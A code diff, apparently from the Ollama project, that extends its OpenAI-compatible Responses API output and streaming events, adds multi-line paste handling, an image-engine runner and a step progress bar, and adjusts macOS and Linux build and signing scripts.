 type ResponsesResponse struct {
-	ID        string                `json:"id"`
-	Object    string                `json:"object"`
-	CreatedAt int64                 `json:"created_at"`
-	Status    string                `json:"status"`
-	Model     string                `json:"model"`
-	Output    []ResponsesOutputItem `json:"output"`
-	Usage     *ResponsesUsage       `json:"usage,omitempty"`
-	// TODO(drifkin): add `temperature` and `top_p` to the response, but this
-	// requires additional plumbing to find the effective values since the
-	// defaults can come from the model or the request
+	ID                 string                      `json:"id"`
+	Object             string                      `json:"object"`
+	CreatedAt          int64                       `json:"created_at"`
+	CompletedAt        *int64                      `json:"completed_at"`
+	Status             string                      `json:"status"`
+	IncompleteDetails  *ResponsesIncompleteDetails `json:"incomplete_details"`
+	Model              string                      `json:"model"`
+	PreviousResponseID *string                     `json:"previous_response_id"`
+	Instructions       *string                     `json:"instructions"`
+	Output             []ResponsesOutputItem       `json:"output"`
+	Error              *ResponsesError             `json:"error"`
+	Tools              []ResponsesTool             `json:"tools"`
+	ToolChoice         any                         `json:"tool_choice"`
+	Truncation         string                      `json:"truncation"`
+	ParallelToolCalls  bool                        `json:"parallel_tool_calls"`
+	Text               ResponsesTextField          `json:"text"`
+	TopP               float64                     `json:"top_p"`
+	PresencePenalty    float64                     `json:"presence_penalty"`
+	FrequencyPenalty   float64                     `json:"frequency_penalty"`
+	TopLogprobs        int                         `json:"top_logprobs"`
+	Temperature        float64                     `json:"temperature"`
+	Reasoning          *ResponsesReasoningOutput   `json:"reasoning"`
+	Usage              *ResponsesUsage             `json:"usage"`
+	MaxOutputTokens    *int                        `json:"max_output_tokens"`
+	MaxToolCalls       *int                        `json:"max_tool_calls"`
+	Store              bool                        `json:"store"`
+	Background         bool                        `json:"background"`
+	ServiceTier        string                      `json:"service_tier"`
+	Metadata           map[string]any              `json:"metadata"`
+	SafetyIdentifier   *string                     `json:"safety_identifier"`
+	PromptCacheKey     *string                     `json:"prompt_cache_key"`
 }
 
 type ResponsesOutputItem struct {
@@ -550,18 +599,39 @@ type ResponsesReasoningSummary struct {
 }
 
 type ResponsesOutputContent struct {
-	Type string `json:"type"` // "output_text"
-	Text string `json:"text"`
+	Type        string `json:"type"` // "output_text"
+	Text        string `json:"text"`
+	Annotations []any  `json:"annotations"`
+	Logprobs    []any  `json:"logprobs"`
+}
+
+type ResponsesInputTokensDetails struct {
+	CachedTokens int `json:"cached_tokens"`
+}
+
+type ResponsesOutputTokensDetails struct {
+	ReasoningTokens int `json:"reasoning_tokens"`
 }
 
 type ResponsesUsage struct {
-	InputTokens  int `json:"input_tokens"`
-	OutputTokens int `json:"output_tokens"`
-	TotalTokens  int `json:"total_tokens"`
+	InputTokens         int                          `json:"input_tokens"`
+	OutputTokens        int                          `json:"output_tokens"`
+	TotalTokens         int                          `json:"total_tokens"`
+	InputTokensDetails  ResponsesInputTokensDetails  `json:"input_tokens_details"`
+	OutputTokensDetails ResponsesOutputTokensDetails `json:"output_tokens_details"`
 }
 
-// ToResponse converts an api.ChatResponse to a Responses API response
-func ToResponse(model, responseID, itemID string, chatResponse api.ChatResponse) ResponsesResponse {
+// derefFloat64 returns the value of a float64 pointer, or a default if nil.
+func derefFloat64(p *float64, def float64) float64 {
+	if p != nil {
+		return *p
+	}
+	return def
+}
+
+// ToResponse converts an api.ChatResponse to a Responses API response.
+// The request is used to echo back request parameters in the response.
+func ToResponse(model, responseID, itemID string, chatResponse api.ChatResponse, request ResponsesRequest) ResponsesResponse {
 	var output []ResponsesOutputItem
 
 	// Add reasoning item if thinking is present
@@ -585,6 +655,7 @@ func ToResponse(model, responseID, itemID string, chatResponse api.ChatResponse)
 			output = append(output, ResponsesOutputItem{
 				ID:        fmt.Sprintf("fc_%s_%d", responseID, i),
 				Type:      "function_call",
+				Status:    "completed",
 				CallID:    tc.ID,
 				Name:      tc.Function.Name,
 				Arguments: tc.Function.Arguments,
@@ -598,25 +669,90 @@ func ToResponse(model, responseID, itemID string, chatResponse api.ChatResponse)
 			Role:   "assistant",
 			Content: []ResponsesOutputContent{
 				{
-					Type: "output_text",
-					Text: chatResponse.Message.Content,
+					Type:        "output_text",
+					Text:        chatResponse.Message.Content,
+					Annotations: []any{},
+					Logprobs:    []any{},
 				},
 			},
 		})
 	}
 
+	var instructions *string
+	if request.Instructions != "" {
+		instructions = &request.Instructions
+	}
+
+	// Build truncation with default
+	truncation := "disabled"
+	if request.Truncation != nil {
+		truncation = *request.Truncation
+	}
+
+	tools := request.Tools
+	if tools == nil {
+		tools = []ResponsesTool{}
+	}
+
+	text := ResponsesTextField{
+		Format: ResponsesTextFormat{Type: "text"},
+	}
+	if request.Text != nil && request.Text.Format != nil {
+		text.Format = *request.Text.Format
+	}
+
+	// Build reasoning output from request
+	var reasoning *ResponsesReasoningOutput
+	if request.Reasoning.Effort != "" || request.Reasoning.Summary != "" {
+		reasoning = &ResponsesReasoningOutput{}
+		if request.Reasoning.Effort != "" {
+			reasoning.Effort = &request.Reasoning.Effort
+		}
+		if request.Reasoning.Summary != "" {
+			reasoning.Summary = &request.Reasoning.Summary
+		}
+	}
+
 	return ResponsesResponse{
-		ID:        responseID,
-		Object:    "response",
-		CreatedAt: chatResponse.CreatedAt.Unix(),
-		Status:    "completed",
-		Model:     model,
-		Output:    output,
+		ID:                 responseID,
+		Object:             "response",
+		CreatedAt:          chatResponse.CreatedAt.Unix(),
+		CompletedAt:        nil, // Set by middleware when writing final response
+		Status:             "completed",
+		IncompleteDetails:  nil, // Only populated if response incomplete
+		Model:              model,
+		PreviousResponseID: nil, // Not supported
+		Instructions:       instructions,
+		Output:             output,
+		Error:              nil, // Only populated on failure
+		Tools:              tools,
+		ToolChoice:         "auto", // Default value
+		Truncation:         truncation,
+		ParallelToolCalls:  true, // Default value
+		Text:               text,
+		TopP:               derefFloat64(request.TopP, 1.0),
+		PresencePenalty:    0, // Default value
+		FrequencyPenalty:   0, // Default value
+		TopLogprobs:        0, // Default value
+		Temperature:        derefFloat64(request.Temperature, 1.0),
+		Reasoning:          reasoning,
 		Usage: &ResponsesUsage{
 			InputTokens:  chatResponse.PromptEvalCount,
 			OutputTokens: chatResponse.EvalCount,
 			TotalTokens:  chatResponse.PromptEvalCount + chatResponse.EvalCount,
+			// TODO(drifkin): wire through the actual values
+			InputTokensDetails: ResponsesInputTokensDetails{CachedTokens: 0},
+			// TODO(drifkin): wire through the actual values
+			OutputTokensDetails: ResponsesOutputTokensDetails{ReasoningTokens: 0},
 		},
+		MaxOutputTokens:  request.MaxOutputTokens,
+		MaxToolCalls:     nil,   // Not supported
+		Store:            false, // We don't store responses
+		Background:       request.Background,
+		ServiceTier:      "default", // Default value
+		Metadata:         map[string]any{},
+		SafetyIdentifier: nil, // Not supported
+		PromptCacheKey:   nil, // Not supported
 	}
 }
 
@@ -636,6 +772,7 @@ type ResponsesStreamConverter struct {
 	responseID string
 	itemID     string
 	model      string
+	request    ResponsesRequest
 
 	// State tracking (mutated across Process calls)
 	firstWrite      bool
@@ -668,11 +805,12 @@ func (c *ResponsesStreamConverter) newEvent(eventType string, data map[string]an
 }
 
 // NewResponsesStreamConverter creates a new converter with the given configuration.
-func NewResponsesStreamConverter(responseID, itemID, model string) *ResponsesStreamConverter {
+func NewResponsesStreamConverter(responseID, itemID, model string, request ResponsesRequest) *ResponsesStreamConverter {
 	return &ResponsesStreamConverter{
 		responseID: responseID,
 		itemID:     itemID,
 		model:      model,
+		request:    request,
 		firstWrite: true,
 	}
 }
@@ -717,25 +855,120 @@ func (c *ResponsesStreamConverter) Process(r api.ChatResponse) []ResponsesStream
 	return events
 }
 
+// buildResponseObject creates a full response object with all required fields for streaming events.
+func (c *ResponsesStreamConverter) buildResponseObject(status string, output []any, usage map[string]any) map[string]any {
+	var instructions any = nil
+	if c.request.Instructions != "" {
+		instructions = c.request.Instructions
+	}
+
+	truncation := "disabled"
+	if c.request.Truncation != nil {
+		truncation = *c.request.Truncation
+	}
+
+	var tools []any
+	if c.request.Tools != nil {
+		for _, t := range c.request.Tools {
+			tools = append(tools, map[string]any{
+				"type":        t.Type,
+				"name":        t.Name,
+				"description": t.Description,
+				"strict":      t.Strict,
+				"parameters":  t.Parameters,
+			})
+		}
+	}
+	if tools == nil {
+		tools = []any{}
+	}
+
+	textFormat := map[string]any{"type": "text"}
+	if c.request.Text != nil && c.request.Text.Format != nil {
+		textFormat = map[string]any{
+			"type": c.request.Text.Format.Type,
+		}
+		if c.request.Text.Format.Name != "" {
+			textFormat["name"] = c.request.Text.Format.Name
+		}
+		if c.request.Text.Format.Schema != nil {
+			textFormat["schema"] = c.request.Text.Format.Schema
+		}
+		if c.request.Text.Format.Strict != nil {
+			textFormat["strict"] = *c.request.Text.Format.Strict
+		}
+	}
+
+	var reasoning any = nil
+	if c.request.Reasoning.Effort != "" || c.request.Reasoning.Summary != "" {
+		r := map[string]any{}
+		if c.request.Reasoning.Effort != "" {
+			r["effort"] = c.request.Reasoning.Effort
+		} else {
+			r["effort"] = nil
+		}
+		if c.request.Reasoning.Summary != "" {
+			r["summary"] = c.request.Reasoning.Summary
+		} else {
+			r["summary"] = nil
+		}
+		reasoning = r
+	}
+
+	// Build top_p and temperature with defaults
+	topP := 1.0
+	if c.request.TopP != nil {
+		topP = *c.request.TopP
+	}
+	temperature := 1.0
+	if c.request.Temperature != nil {
+		temperature = *c.request.Temperature
+	}
+
+	return map[string]any{
+		"id":                   c.responseID,
+		"object":               "response",
+		"created_at":           time.Now().Unix(),
+		"completed_at":         nil,
+		"status":               status,
+		"incomplete_details":   nil,
+		"model":                c.model,
+		"previous_response_id": nil,
+		"instructions":         instructions,
+		"output":               output,
+		"error":                nil,
+		"tools":                tools,
+		"tool_choice":          "auto",
+		"truncation":           truncation,
+		"parallel_tool_calls":  true,
+		"text":                 map[string]any{"format": textFormat},
+		"top_p":                topP,
+		"presence_penalty":     0,
+		"frequency_penalty":    0,
+		"top_logprobs":         0,
+		"temperature":          temperature,
+		"reasoning":            reasoning,
+		"usage":                usage,
+		"max_output_tokens":    c.request.MaxOutputTokens,
+		"max_tool_calls":       nil,
+		"store":                false,
+		"background":           c.request.Background,
+		"service_tier":         "default",
+		"metadata":             map[string]any{},
+		"safety_identifier":    nil,
+		"prompt_cache_key":     nil,
+	}
+}
+
 func (c *ResponsesStreamConverter) createResponseCreatedEvent() ResponsesStreamEvent {
 	return c.newEvent("response.created", map[string]any{
-		"response": map[string]any{
-			"id":     c.responseID,
-			"object": "response",
-			"status": "in_progress",
-			"output": []any{},
-		},
+		"response": c.buildResponseObject("in_progress", []any{}, nil),
 	})
 }
 
 func (c *ResponsesStreamConverter) createResponseInProgressEvent() ResponsesStreamEvent {
 	return c.newEvent("response.in_progress", map[string]any{
-		"response": map[string]any{
-			"id":     c.responseID,
-			"object": "response",
-			"status": "in_progress",
-			"output": []any{},
-		},
+		"response": c.buildResponseObject("in_progress", []any{}, nil),
 	})
 }
 
@@ -762,9 +995,10 @@ func (c *ResponsesStreamConverter) processThinking(thinking string) []ResponsesS
 
 	// Emit delta
 	events = append(events, c.newEvent("response.reasoning_summary_text.delta", map[string]any{
-		"item_id":      c.reasoningItemID,
-		"output_index": c.outputIndex,
-		"delta":        thinking,
+		"item_id":       c.reasoningItemID,
+		"output_index":  c.outputIndex,
+		"summary_index": 0,
+		"delta":         thinking,
 	}))
 
 	// TODO(drifkin): consider adding
@@ -783,9 +1017,10 @@ func (c *ResponsesStreamConverter) finishReasoning() []ResponsesStreamEvent {
 
 	events := []ResponsesStreamEvent{
 		c.newEvent("response.reasoning_summary_text.done", map[string]any{
-			"item_id":      c.reasoningItemID,
-			"output_index": c.outputIndex,
-			"text":         c.accumulatedThinking,
+			"item_id":       c.reasoningItemID,
+			"output_index":  c.outputIndex,
+			"summary_index": 0,
+			"text":          c.accumulatedThinking,
 		}),
 		c.newEvent("response.output_item.done", map[string]any{
 			"output_index": c.outputIndex,
@@ -898,8 +1133,10 @@ func (c *ResponsesStreamConverter) processTextContent(content string) []Response
 			"output_index":  c.outputIndex,
 			"content_index": c.contentIndex,
 			"part": map[string]any{
-				"type": "output_text",
-				"text": "",
+				"type":        "output_text",
+				"text":        "",
+				"annotations": []any{},
+				"logprobs":    []any{},
 			},
 		}))
 	}
@@ -913,6 +1150,7 @@ func (c *ResponsesStreamConverter) processTextContent(content string) []Response
 		"output_index":  c.outputIndex,
 		"content_index": 0,
 		"delta":         content,
+		"logprobs":      []any{},
 	}))
 
 	return events
@@ -944,8 +1182,10 @@ func (c *ResponsesStreamConverter) buildFinalOutput() []any {
 			"status": "completed",
 			"role":   "assistant",
 			"content": []map[string]any{{
-				"type": "output_text",
-				"text": c.accumulatedText,
+				"type":        "output_text",
+				"text":        c.accumulatedText,
+				"annotations": []any{},
+				"logprobs":    []any{},
 			}},
 		})
 	}
@@ -967,6 +1207,7 @@ func (c *ResponsesStreamConverter) processCompletion(r api.ChatResponse) []Respo
 			"output_index":  c.outputIndex,
 			"content_index": 0,
 			"text":          c.accumulatedText,
+			"logprobs":      []any{},
 		}))
 
 		// response.content_part.done
@@ -975,8 +1216,10 @@ func (c *ResponsesStreamConverter) processCompletion(r api.ChatResponse) []Respo
 			"output_index":  c.outputIndex,
 			"content_index": 0,
 			"part": map[string]any{
-				"type": "output_text",
-				"text": c.accumulatedText,
+				"type":        "output_text",
+				"text":        c.accumulatedText,
+				"annotations": []any{},
+				"logprobs":    []any{},
 			},
 		}))
 
@@ -989,26 +1232,31 @@ func (c *ResponsesStreamConverter) processCompletion(r api.ChatResponse) []Respo
 				"status": "completed",
 				"role":   "assistant",
 				"content": []map[string]any{{
-					"type": "output_text",
-					"text": c.accumulatedText,
+					"type":        "output_text",
+					"text":        c.accumulatedText,
+					"annotations": []any{},
+					"logprobs":    []any{},
 				}},
 			},
 		}))
 	}
 
 	// response.completed
-	events = append(events, c.newEvent("response.completed", map[string]any{
-		"response": map[string]any{
-			"id":     c.responseID,
-			"object": "response",
-			"status": "completed",
-			"output": c.buildFinalOutput(),
-			"usage": map[string]any{
-				"input_tokens":  r.PromptEvalCount,
-				"output_tokens": r.EvalCount,
-				"total_tokens":  r.PromptEvalCount + r.EvalCount,
-			},
+	usage := map[string]any{
+		"input_tokens":  r.PromptEvalCount,
+		"output_tokens": r.EvalCount,
+		"total_tokens":  r.PromptEvalCount + r.EvalCount,
+		"input_tokens_details": map[string]any{
+			"cached_tokens": 0,
 		},
+		"output_tokens_details": map[string]any{
+			"reasoning_tokens": 0,
+		},
+	}
+	response := c.buildResponseObject("completed", c.buildFinalOutput(), usage)
+	response["completed_at"] = time.Now().Unix()
+	events = append(events, c.newEvent("response.completed", map[string]any{
+		"response": response,
 	}))
 
 	return events

openai/responses_test.go

@@ -850,7 +850,7 @@ func TestFromResponsesRequest_Images(t *testing.T) {
 }
 
 func TestResponsesStreamConverter_TextOnly(t *testing.T) {
-	converter := NewResponsesStreamConverter("resp_123", "msg_456", "gpt-oss:20b")
+	converter := NewResponsesStreamConverter("resp_123", "msg_456", "gpt-oss:20b", ResponsesRequest{})
 
 	// First chunk with content
 	events := converter.Process(api.ChatResponse{
@@ -916,7 +916,7 @@ func TestResponsesStreamConverter_TextOnly(t *testing.T) {
 }
 
 func TestResponsesStreamConverter_ToolCalls(t *testing.T) {
-	converter := NewResponsesStreamConverter("resp_123", "msg_456", "gpt-oss:20b")
+	converter := NewResponsesStreamConverter("resp_123", "msg_456", "gpt-oss:20b", ResponsesRequest{})
 
 	events := converter.Process(api.ChatResponse{
 		Message: api.Message{
@@ -952,7 +952,7 @@ func TestResponsesStreamConverter_ToolCalls(t *testing.T) {
 }
 
 func TestResponsesStreamConverter_Reasoning(t *testing.T) {
-	converter := NewResponsesStreamConverter("resp_123", "msg_456", "gpt-oss:20b")
+	converter := NewResponsesStreamConverter("resp_123", "msg_456", "gpt-oss:20b", ResponsesRequest{})
 
 	// First chunk with thinking
 	events := converter.Process(api.ChatResponse{
@@ -1267,7 +1267,7 @@ func TestToResponse_WithReasoning(t *testing.T) {
 			Content:  "The answer is 42",
 		},
 		Done: true,
-	})
+	}, ResponsesRequest{})
 
 	// Should have 2 output items: reasoning + message
 	if len(response.Output) != 2 {
@@ -1638,7 +1638,7 @@ func TestFromResponsesRequest_ShorthandFormats(t *testing.T) {
 
 func TestResponsesStreamConverter_OutputIncludesContent(t *testing.T) {
 	// Verify that response.output_item.done includes content field for messages
-	converter := NewResponsesStreamConverter("resp_123", "msg_456", "gpt-oss:20b")
+	converter := NewResponsesStreamConverter("resp_123", "msg_456", "gpt-oss:20b", ResponsesRequest{})
 
 	// First chunk
 	converter.Process(api.ChatResponse{
@@ -1686,7 +1686,7 @@ func TestResponsesStreamConverter_OutputIncludesContent(t *testing.T) {
 
 func TestResponsesStreamConverter_ResponseCompletedIncludesOutput(t *testing.T) {
 	// Verify that response.completed includes the output array
-	converter := NewResponsesStreamConverter("resp_123", "msg_456", "gpt-oss:20b")
+	converter := NewResponsesStreamConverter("resp_123", "msg_456", "gpt-oss:20b", ResponsesRequest{})
 
 	// Process some content
 	converter.Process(api.ChatResponse{
@@ -1730,7 +1730,7 @@ func TestResponsesStreamConverter_ResponseCompletedIncludesOutput(t *testing.T)
 
 func TestResponsesStreamConverter_ResponseCreatedIncludesOutput(t *testing.T) {
 	// Verify that response.created includes an empty output array
-	converter := NewResponsesStreamConverter("resp_123", "msg_456", "gpt-oss:20b")
+	converter := NewResponsesStreamConverter("resp_123", "msg_456", "gpt-oss:20b", ResponsesRequest{})
 
 	events := converter.Process(api.ChatResponse{
 		Message: api.Message{Content: "Hi"},
@@ -1757,7 +1757,7 @@ func TestResponsesStreamConverter_ResponseCreatedIncludesOutput(t *testing.T) {
 
 func TestResponsesStreamConverter_SequenceNumbers(t *testing.T) {
 	// Verify that events include incrementing sequence numbers
-	converter := NewResponsesStreamConverter("resp_123", "msg_456", "gpt-oss:20b")
+	converter := NewResponsesStreamConverter("resp_123", "msg_456", "gpt-oss:20b", ResponsesRequest{})
 
 	events := converter.Process(api.ChatResponse{
 		Message: api.Message{Content: "Hello"},
@@ -1791,7 +1791,7 @@ func TestResponsesStreamConverter_SequenceNumbers(t *testing.T) {
 
 func TestResponsesStreamConverter_FunctionCallStatus(t *testing.T) {
 	// Verify that function call items include status field
-	converter := NewResponsesStreamConverter("resp_123", "msg_456", "gpt-oss:20b")
+	converter := NewResponsesStreamConverter("resp_123", "msg_456", "gpt-oss:20b", ResponsesRequest{})
 
 	events := converter.Process(api.ChatResponse{
 		Message: api.Message{

progress/stepbar.go

@@ -0,0 +1,33 @@
+package progress
+
+import (
+	"fmt"
+	"strings"
+)
+
+// StepBar displays step-based progress (e.g., for image generation steps).
+type StepBar struct {
+	message string
+	current int
+	total   int
+}
+
+func NewStepBar(message string, total int) *StepBar {
+	return &StepBar{message: message, total: total}
+}
+
+func (s *StepBar) Set(current int) {
+	s.current = current
+}
+
+func (s *StepBar) String() string {
+	percent := float64(s.current) / float64(s.total) * 100
+	barWidth := s.total
+	empty := barWidth - s.current
+
+	// "Generating   0% ▕         ▏ 0/9"
+	return fmt.Sprintf("%s %3.0f%% ▕%s%s▏ %d/%d",
+		s.message, percent,
+		strings.Repeat("█", s.current), strings.Repeat(" ", empty),
+		s.current, s.total)
+}

readline/readline.go

@@ -5,6 +5,7 @@ import (
 	"fmt"
 	"io"
 	"os"
+	"strings"
 )
 
 type Prompt struct {
@@ -36,10 +37,11 @@ type Terminal struct {
 }
 
 type Instance struct {
-	Prompt   *Prompt
-	Terminal *Terminal
-	History  *History
-	Pasting  bool
+	Prompt      *Prompt
+	Terminal    *Terminal
+	History     *History
+	Pasting     bool
+	pastedLines []string
 }
 
 func New(prompt Prompt) (*Instance, error) {
@@ -174,6 +176,8 @@ func (i *Instance) Readline() (string, error) {
 		case CharEsc:
 			esc = true
 		case CharInterrupt:
+			i.pastedLines = nil
+			i.Prompt.UseAlt = false
 			return "", ErrInterrupt
 		case CharPrev:
 			i.historyPrev(buf, &currentLineBuf)
@@ -188,7 +192,23 @@ func (i *Instance) Readline() (string, error) {
 		case CharForward:
 			buf.MoveRight()
 		case CharBackspace, CharCtrlH:
-			buf.Remove()
+			if buf.IsEmpty() && len(i.pastedLines) > 0 {
+				lastIdx := len(i.pastedLines) - 1
+				prevLine := i.pastedLines[lastIdx]
+				i.pastedLines = i.pastedLines[:lastIdx]
+				fmt.Print(CursorBOL + ClearToEOL + CursorUp + CursorBOL + ClearToEOL)
+				if len(i.pastedLines) == 0 {
+					fmt.Print(i.Prompt.Prompt)
+					i.Prompt.UseAlt = false
+				} else {
+					fmt.Print(i.Prompt.AltPrompt)
+				}
+				for _, r := range prevLine {
+					buf.Add(r)
+				}
+			} else {
+				buf.Remove()
+			}
 		case CharTab:
 			// todo: convert back to real tabs
 			for range 8 {
@@ -211,13 +231,28 @@ func (i *Instance) Readline() (string, error) {
 		case CharCtrlZ:
 			fd := os.Stdin.Fd()
 			return handleCharCtrlZ(fd, i.Terminal.termios)
-		case CharEnter, CharCtrlJ:
+		case CharCtrlJ:
+			i.pastedLines = append(i.pastedLines, buf.String())
+			buf.Buf.Clear()
+			buf.Pos = 0
+			buf.DisplayPos = 0
+			buf.LineHasSpace.Clear()
+			fmt.Println()
+			fmt.Print(i.Prompt.AltPrompt)
+			i.Prompt.UseAlt = true
+			continue
+		case CharEnter:
 			output := buf.String()
+			if len(i.pastedLines) > 0 {
+				output = strings.Join(i.pastedLines, "\n") + "\n" + output
+				i.pastedLines = nil
+			}
 			if output != "" {
 				i.History.Add(output)
 			}
 			buf.MoveToEnd()
 			fmt.Println()
+			i.Prompt.UseAlt = false
 
 			return output, nil
 		default:

runner/runner.go

@@ -3,6 +3,7 @@ package runner
 import (
 	"github.com/ollama/ollama/runner/llamarunner"
 	"github.com/ollama/ollama/runner/ollamarunner"
+	imagerunner "github.com/ollama/ollama/x/imagegen/runner"
 )
 
 func Execute(args []string) error {
@@ -11,12 +12,19 @@ func Execute(args []string) error {
 	}
 
 	var newRunner bool
-	if args[0] == "--ollama-engine" {
+	var imageRunner bool
+	if len(args) > 0 && args[0] == "--ollama-engine" {
 		args = args[1:]
 		newRunner = true
 	}
+	if len(args) > 0 && args[0] == "--image-engine" {
+		args = args[1:]
+		imageRunner = true
+	}
 
-	if newRunner {
+	if imageRunner {
+		return imagerunner.Execute(args)
+	} else if newRunner {
 		return ollamarunner.Execute(args)
 	} else {
 		return llamarunner.Execute(args)

scripts/build_darwin.sh

@@ -73,7 +73,7 @@ _build_darwin() {
             MLX_CGO_CFLAGS="-O3 -I$(pwd)/$BUILD_DIR/_deps/mlx-c-src -mmacosx-version-min=14.0"
             MLX_CGO_LDFLAGS="-L$(pwd)/$BUILD_DIR/lib/ollama -lmlxc -lmlx -Wl,-rpath,@executable_path -lc++ -framework Metal -framework Foundation -framework Accelerate -mmacosx-version-min=14.0"
         fi
-        GOOS=darwin GOARCH=$ARCH CGO_ENABLED=1 CGO_CFLAGS="$MLX_CGO_CFLAGS" CGO_LDFLAGS="$MLX_CGO_LDFLAGS" go build -tags mlx -o $INSTALL_PREFIX/imagegen ./x/imagegen/cmd/engine
+        GOOS=darwin GOARCH=$ARCH CGO_ENABLED=1 CGO_CFLAGS="$MLX_CGO_CFLAGS" CGO_LDFLAGS="$MLX_CGO_LDFLAGS" go build -tags mlx -o $INSTALL_PREFIX/ollama-mlx .
         GOOS=darwin GOARCH=$ARCH CGO_ENABLED=1 go build -o $INSTALL_PREFIX .
     done
 }
@@ -82,19 +82,19 @@ _sign_darwin() {
     status "Creating universal binary..."
     mkdir -p dist/darwin
     lipo -create -output dist/darwin/ollama dist/darwin-*/ollama
-    lipo -create -output dist/darwin/imagegen dist/darwin-*/imagegen
+    lipo -create -output dist/darwin/ollama-mlx dist/darwin-*/ollama-mlx
     chmod +x dist/darwin/ollama
-    chmod +x dist/darwin/imagegen
+    chmod +x dist/darwin/ollama-mlx
 
     if [ -n "$APPLE_IDENTITY" ]; then
-        for F in dist/darwin/ollama dist/darwin-*/lib/ollama/* dist/darwin/imagegen; do
+        for F in dist/darwin/ollama dist/darwin-*/lib/ollama/* dist/darwin/ollama-mlx; do
             codesign -f --timestamp -s "$APPLE_IDENTITY" --identifier ai.ollama.ollama --options=runtime $F
         done
 
         # create a temporary zip for notarization
         TEMP=$(mktemp -u).zip
         ditto -c -k --keepParent dist/darwin/ollama "$TEMP"
-        xcrun notarytool submit "$TEMP" --wait --timeout 10m --apple-id $APPLE_ID --password $APPLE_PASSWORD --team-id $APPLE_TEAM_ID
+        xcrun notarytool submit "$TEMP" --wait --timeout 20m --apple-id $APPLE_ID --password $APPLE_PASSWORD --team-id $APPLE_TEAM_ID
         rm -f "$TEMP"
     fi
 
@@ -154,38 +154,40 @@ _build_macapp() {
     mkdir -p dist/Ollama.app/Contents/Resources
     if [ -d dist/darwin-amd64 ]; then
         lipo -create -output dist/Ollama.app/Contents/Resources/ollama dist/darwin-amd64/ollama dist/darwin-arm64/ollama
-        lipo -create -output dist/Ollama.app/Contents/Resources/imagegen dist/darwin-amd64/imagegen dist/darwin-arm64/imagegen
+        lipo -create -output dist/Ollama.app/Contents/Resources/ollama-mlx dist/darwin-amd64/ollama-mlx dist/darwin-arm64/ollama-mlx
         for F in dist/darwin-amd64/lib/ollama/*mlx*.dylib ; do
             lipo -create -output dist/darwin/$(basename $F) $F dist/darwin-arm64/lib/ollama/$(basename $F)
         done
         cp dist/darwin-*/lib/ollama/*.so dist/darwin-*/lib/ollama/*.dylib dist/Ollama.app/Contents/Resources/
         cp dist/darwin/*.dylib dist/Ollama.app/Contents/Resources/
+        # Copy MLX metallib (architecture-independent, just use arm64 version)
+        cp dist/darwin-arm64/lib/ollama/*.metallib dist/Ollama.app/Contents/Resources/ 2>/dev/null || true
     else
         cp -a dist/darwin/ollama dist/Ollama.app/Contents/Resources/ollama
         cp dist/darwin/*.so dist/darwin/*.dylib dist/Ollama.app/Contents/Resources/
     fi
-    cp -a dist/darwin/imagegen dist/Ollama.app/Contents/Resources/imagegen
+    cp -a dist/darwin/ollama-mlx dist/Ollama.app/Contents/Resources/ollama-mlx
     chmod a+x dist/Ollama.app/Contents/Resources/ollama
 
     # Sign
     if [ -n "$APPLE_IDENTITY" ]; then
         codesign -f --timestamp -s "$APPLE_IDENTITY" --identifier ai.ollama.ollama --options=runtime dist/Ollama.app/Contents/Resources/ollama
-        for lib in dist/Ollama.app/Contents/Resources/*.so dist/Ollama.app/Contents/Resources/*.dylib dist/Ollama.app/Contents/Resources/imagegen ; do
+        for lib in dist/Ollama.app/Contents/Resources/*.so dist/Ollama.app/Contents/Resources/*.dylib dist/Ollama.app/Contents/Resources/*.metallib dist/Ollama.app/Contents/Resources/ollama-mlx ; do
             codesign -f --timestamp -s "$APPLE_IDENTITY" --identifier ai.ollama.ollama --options=runtime ${lib}
         done
         codesign -f --timestamp -s "$APPLE_IDENTITY" --identifier com.electron.ollama --deep --options=runtime dist/Ollama.app
     fi
 
     rm -f dist/Ollama-darwin.zip
-    ditto -c -k --keepParent dist/Ollama.app dist/Ollama-darwin.zip
-    (cd dist/Ollama.app/Contents/Resources/; tar -cf - ollama imagegen *.so *.dylib) | gzip -9vc > dist/ollama-darwin.tgz
+    ditto -c -k --norsrc --keepParent dist/Ollama.app dist/Ollama-darwin.zip
+    (cd dist/Ollama.app/Contents/Resources/; tar -cf - ollama ollama-mlx *.so *.dylib *.metallib 2>/dev/null) | gzip -9vc > dist/ollama-darwin.tgz
 
     # Notarize and Staple
     if [ -n "$APPLE_IDENTITY" ]; then
-        $(xcrun -f notarytool) submit dist/Ollama-darwin.zip --wait --timeout 10m --apple-id "$APPLE_ID" --password "$APPLE_PASSWORD" --team-id "$APPLE_TEAM_ID"
+        $(xcrun -f notarytool) submit dist/Ollama-darwin.zip --wait --timeout 20m --apple-id "$APPLE_ID" --password "$APPLE_PASSWORD" --team-id "$APPLE_TEAM_ID"
         rm -f dist/Ollama-darwin.zip
         $(xcrun -f stapler) staple dist/Ollama.app
-        ditto -c -k --keepParent dist/Ollama.app dist/Ollama-darwin.zip
+        ditto -c -k --norsrc --keepParent dist/Ollama.app dist/Ollama-darwin.zip
 
         rm -f dist/Ollama.dmg
 
@@ -206,7 +208,7 @@ _build_macapp() {
         rm -f dist/rw*.dmg
 
         codesign -f --timestamp -s "$APPLE_IDENTITY" --identifier ai.ollama.ollama --options=runtime dist/Ollama.dmg
-        $(xcrun -f notarytool) submit dist/Ollama.dmg --wait --timeout 10m --apple-id "$APPLE_ID" --password "$APPLE_PASSWORD" --team-id "$APPLE_TEAM_ID"
+        $(xcrun -f notarytool) submit dist/Ollama.dmg --wait --timeout 20m --apple-id "$APPLE_ID" --password "$APPLE_PASSWORD" --team-id "$APPLE_TEAM_ID"
         $(xcrun -f stapler) staple dist/Ollama.dmg
     else
         echo "WARNING: Code signing disabled, this bundle will not work for upgrade testing"

scripts/build_linux.sh

@@ -48,53 +48,12 @@ if echo $PLATFORM | grep "amd64" > /dev/null; then
         .
 fi
 
-# Deduplicate CUDA libraries across mlx_* and cuda_* directories
-deduplicate_cuda_libs() {
-    local base_dir="$1"
-    echo "Deduplicating CUDA libraries in ${base_dir}..."
-
-    # Find all mlx_cuda_* directories
-    for mlx_dir in "${base_dir}"/lib/ollama/mlx_cuda_*; do
-        [ -d "${mlx_dir}" ] || continue
-
-        # Extract CUDA version (e.g., v12, v13)
-        cuda_version=$(basename "${mlx_dir}" | sed 's/mlx_cuda_//')
-        cuda_dir="${base_dir}/lib/ollama/cuda_${cuda_version}"
-
-        # Skip if corresponding cuda_* directory doesn't exist
-        [ -d "${cuda_dir}" ] || continue
-
-        echo "  Checking ${mlx_dir} against ${cuda_dir}..."
-
-        # Find all .so* files in mlx directory
